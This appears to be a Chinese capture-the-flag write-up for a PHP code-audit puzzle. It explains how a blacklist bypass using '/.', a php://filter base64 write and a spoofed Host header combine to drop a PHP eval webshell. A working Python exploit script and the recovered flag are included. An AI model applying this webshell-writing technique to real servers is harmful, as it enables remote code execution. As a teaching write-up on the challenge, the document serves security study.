代码审计
easy - phpmagic
来自: https://code-breaking.com/puzzle/3/
题目给出了源码:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/'.md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
分析代码流程:通过post上传查询参数,执行后将结果写入文件,并回显。
思路:1.直接执行系统命令,将结果回显;2.将php一句话木马写入文件后,传参执行。
因为有escapeshellarg函数限制命令执行,所以考虑第二种思路。
第二种方法中,log_name两部分拼接而成,两部分均可控,但拼接出的文件名需要绕过pathinfo函数的黑名单检测。因此,bypass分为三部分。
1.pathinfo函数后缀名黑名单绕过
尝试php黑魔法 "/." bypass, 即上传文件名为 “a.php/.”,php在做路径处理的时候,会递归的删除掉路径中存在的“/.”
2.htmlspecialchars函数过滤‘< >’绕过
file_put_contents函数可接受php://伪协议作为参数,php://filter可对输入进行base64转码,可以通过上传base64编码过的php一句话绕过标签过滤,在写文件时将$output内容写入 php://filter/write=convert.base64-decode/resource=a.php/.进行解码并落地为a.php
注意:这里是将$output变量整体decode,因此base64的payload最后不能以=结尾,需将=替换为a
3.路径控制
a.因为log文件的文件名由log_name拼接而成,因此需要控制超全局变量$_SERVER['SERVERNAME']的值,抓包发现该值为http请求中的Host值,可使用Burp修改。
b.路径为'/data/'.md5($_SERVER['REMOTE_ADDR']),REMOTE_ADDR为本机出口IP地址。可计算出路径:/data/6fac6e0fd12500e4867464626edcdfdd/
实现脚本:
import requests
url = "http://106.14.114.127:24004"
headers = {
'Host':'php'
}
data = {
'domain':"PD9waHAgQGV2YWwoJF9HRVRba2V5XSk7Pz4a",
'log':"://filter/write=convert.base64-decode/resource=asd.php/."
}
r = requests.post(url,headers=headers,data=data)
#url2 = url+"/data/6fac6e0fd12500e4867464626edcdfdd/asd.php? key=var_dump(scandir('../../../'));"
url2 = url+"/data/6fac6e0fd12500e4867464626edcdfdd/asd.php? key=readfile('../../../flag_phpmag1c_ur1');"
res = requests.get(url2)
print res.content
得到flag:flag{8fd9046cde2d53d1ceea8970286fd38c}
知识点:
- 使用/.绕过php后缀名黑名单过滤
- 伪协议文件名,php://filter/write=convert.base64-decode/resource=a.php 转码绕过内容过滤
- 超全局变量SERVER_NAME可控,为http头的Host字段